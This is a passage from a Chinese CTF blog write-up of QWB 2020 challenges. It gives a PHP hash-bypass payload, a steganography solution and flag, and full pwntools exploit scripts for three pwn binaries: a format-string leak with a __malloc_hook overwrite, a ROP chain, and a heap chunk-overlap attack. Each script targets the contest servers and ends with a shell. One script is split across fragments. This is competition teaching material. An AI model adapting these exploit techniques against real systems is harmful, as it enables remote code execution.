

强网杯2020线上赛部分wp

原创

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分类专栏: [pwn](#)

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[pwn](#) 专栏收录该内容

17 篇文章 0 订阅

订阅专栏

菜B依旧, 以后一定好好学习, 唉, 以后可能没那么多时间了o(╥_╥)o

WEB

Funhash

参考

<https://medium.com/@sbasu7241/hscf-6-ctf-writeups-a807f0b25ae4>

exp

hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=fffdyop

Web辅助

这题是学弟做出来的@Sn0w33

1.php反序列化时, S会把binary string当做字符

2.__wakeup()当属性个数大于实际属性个数时会跳过__wakeup()

3.字符串逃逸

五个字符\0*\0 = 》 chr(0) * chr(0) 三个字符, 减少了2个字符

利用此逻辑可逃逸字符串, 注入对象

至少需要逃逸23个字符, 也就是说需要填充\0*\0的数量至少为12个, 我们还需要补充一个字符

exp.php:

Misc

签到题

打开就有flag

Upload

从pcap流量包恢复出jpg图片，然后使用steghide提取隐写信息，密码为123456

flag{te11_me_y0u_like_it}

Pwn

Siri

格式化字符串漏洞，泄露libc，坑点是本地与远程偏移不一样，蒙就完事。写malloc_hook为one gadgets

```

#coding=utf-8
from pwn_debug import *
from fmt64_paylaod import*
context.log_level="debug"

binary="./Siri"
#libc=ELF("/glibc/x64/2.27/lib/libc-2.27.so")
libc=ELF("./libc.so.6")
pdbg=pwn_debug(binary)
pdbg.debug("2.27")
pdbg.remote("123.56.170.202",12124)

sh=pdbg.run("remote")
sh.recvuntil(">>> ")
sh.send("Hey Siri!")
sh.recvuntil(">>> What Can I do for you?\n>>> ")
sh.send("Remind me to "+"%83$p")
sh.recvuntil(">>> OK, I'll remind you to ")

libc_start_main=int(sh.recv(14),16)-231
libc_base=libc_start_main-libc.symbols["__libc_start_main"]

print "libc_base:"+hex(libc_base)
#one_gadgets=[0x45226,0x4527a,0xf0364,0xf1207]
#one_gadgets=[0x41612,0x41666,0xc1390,0xdeed2,0xdeede]
one_gadgets=[0x4f365,0x4f3c2,0x10a45c]
one_g=libc_base+one_gadgets[1]
malloc_hook = libc_base+libc.symbols["__malloc_hook"]
print "one_gadgets:"+hex(one_g)
print "malloc_hook:"+hex(malloc_hook)

payload = 'Remind me to '+len(">>> OK, I'll remind you to ")*'a'
payload+='%'+str(int('0x'+hex(one_g)[-4:],16)-59)+'c%19$hn'+p64(malloc_hook)

sh.recvuntil(">>> ")
sh.send("Hey Siri!")
sh.recvuntil(">>> What Can I do for you?\n>>> ")
sh.send(payload[:-2])

payload = 'Remind me to '+len(">>> OK, I'll remind you to ")*'a'
payload+='%'+str(int('0x'+hex(one_g)[-8:-4],16)-59)+'c%19$hn'+p64(malloc_hook+2)
#gdb.attach(sh,"b printf")
sh.recvuntil(">>> ")
sh.send("Hey Siri!")
sh.recvuntil(">>> What Can I do for you?\n>>> ")
sh.send(payload[:-2])

payload = 'Remind me to '+len(">>> OK, I'll remind you to ")*'a'
payload+='%'+str(int('0x'+hex(one_g)[-12:-8],16)-59)+'c%19$hn'+p64(malloc_hook+4)
sh.recvuntil(">>> ")
sh.send("Hey Siri!")
sh.recvuntil(">>> What Can I do for you?\n>>> ")
sh.send(payload[:-2])

sh.recvuntil(">>> ")
sh.send("Hey Siri!")
sh.recvuntil(">>> What Can I do for you?\n>>> ")
sh.send("Remind me to %99999c")
sh.interactive()

```

Babymessage

栈溢出，第一次只能控制ebp，第二次返回时可写入更多字节，然后ROP，写入one_gadget

```

#coding=utf-8
from pwn import *
from pwn_debug import *

context.arch = 'amd64'
context.log_level = 'debug'
binary="./babymessage"
libc=ELF("./libc-2.27.so")
#libc=ELF("/glibc/x64/2.27/lib/libc-2.27.so")
elf=ELF(binary)
pdbg=pwn_debug(binary)
pdbg.debug("2.27")
pdbg.remote("123.56.170.202",21342)
sh=pdbg.run("remote")

cmd=lambda c:sh.sendlineafter("choice: ",str(c))

def ln(name):
    cmd(1)
    sh.recvuntil('name: ')
    sh.send(name)

def lm(message):
    cmd(2)
    sh.recvuntil('message: ')
    sh.send(message)

pop_rdi_ret=0x400ac3
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

ln('wang')
payload1=p64(0)+p64(0x6010D4)
lm(payload1)

#call puts get address
payload2= "a"*0x8 + p64(0x6010D4)
payload2+=p64(pop_rdi_ret)
payload2+=p64(puts_got)
payload2+=p64(puts_plt)
payload2+=p64(0x04009DD)
lm(payload2)

sh.recvuntil("done!\n\n")
puts_addr=u64(sh.recv(6).ljust(8,"\x00"))
print "puts addr:"+hex(puts_addr)
libc_base=puts_addr-libc.symbols["puts"]
#one=[0x41612,0x41666,0xdeed2]
one=[0x4f365,0x4f3c2,0x10a45c]
onegad_get = libc_base + one[0]

payload3 = "a"*0x8+p64(0x06010D4)+p64(onegad_get)
lm(payload1)
lm(payload3)
sh.interactive()

```

Chunk overlap ,利用IO FILE泄露libc, 然后再malloc_hook处写入one_gadget, getshell

```
# coding=utf-8
from pwn_debug import *
context.log_level = "info"
context.arch = 'amd64'

binary="./easypwn"

pdbg=pwn_debug(binary)
pdbg.debug("2.23")
pdbg.remote("39.101.184.181", 10000)

def choice(idx):
    sh.sendlineafter("choice:\n",str(idx))
def add(size):
    choice(1)
    sh.sendlineafter("size:\n",str(size))

def delete(idx):
    choice(3)
    sh.sendlineafter("idx:\n",str(idx))

def edit(idx,content):
    choice(2)
    sh.sendlineafter("idx:\n",str(idx))
    sh.sendafter("content:\n",content)

def choice2(idx):
    sh.sendlineafter("choice:",str(idx))
def add2(size):
    choice2(1)
    sh.sendlineafter("size:",str(size))

def delete2(idx):
    choice2(3)
    sh.sendlineafter("idx:",str(idx))

def edit2(idx,content):
    choice2(2)
    sh.sendlineafter("idx:",str(idx))
    sh.sendafter("content:",content)

def pwn():
    global sh
    sh=pdbg.run("remote")
    #sh=process(binary)
    add(0xf8) #0
    add(0xf8) #1
    add(0xf8) #2
    add(0x60) #3
    delete(0)
    edit(1,p64(0x70)*30 + p64(0x200))
    delete(2)
    add(0xf8) #0
    add(0x68) #2    1 and 2 point same address
    add(0x60) #4
```

```

add(0x60) #4
add(0x60) #5
add(0x50) #6

#x/30gx 0x555555756500
add(0x1f8) #7
add(0x1f8) #8
add(0x1f8) #9
add(0x1f8) #10
delete(7)
edit(8,"a"*0x1f0 + p64(0x400))
delete(9)
add(0x3f0)#6
edit(7,"a" * 0x1f0 + p64(0) + p64(0x201)+'\n')
delete(8)
edit(7,"a" * 0x1f0 + p64(0) + p64(0x201) + p64(0) +p16(0x37f8-0x10)+'\n') #

add(0x1f0)
delete(5)
delete(2)

edit(1,p8(0x60)+'\n')

add(0x60)
add(0x60)
edit(5,p64(0x60)+p64(0x70)+p16(0x25dd)+'\n')
delete(5)
delete(2)
edit(1,p8(0x70)+'\n')

add(0x60)
add(0x60)
add(0x60)
edit(9,'A'*0x33 + p64(0xfbad1800) + p64(0)*3+'\x00\n')

#libc=ELF("/glibc/x64/2.23/lib/libc-2.23.so")
#gdb.attach(sh)
#one = [0x3f3e6,0x3f43a,0xd5c07,0xf1207]
libc=ELF("./libc-easypwn.so")
one =[0x45226,0x4527a,0xf0364,0xf1207]
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh.recv(0x40)
stderr=u64(sh.recv(6).ljust(8,'\x00'))

libc_base = stderr - 0x3c5600
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23
onegadget = one[2] + libc_base
print "libc_base:"+hex(libc_base)
print "malloc_hook:"+hex(malloc_hook)
print "onegadget:"+hex(onegadget)
print "fake_chunk:"+hex(fake_chunk)

delete2(2)
edit2(1,p64(fake_chunk)+'\n')
#gdb.attach(sh,"b*"+hex(onegadget))
add2(0x60)
add2(0x60)

```



```
edit2(11, 'b'*0x13+p64(onegadget)+'\n')

print "libc_base:"+hex(libc_base)
print "onegadget:"+hex(onegadget)
print "try to get shell-----"
add2(0x60)

while 1:
    try:
        pwn()
        sh.recv(timeout = 1)
    except EOFError:
        sh.close()
        continue
    else:
        sh.interactive()

break
```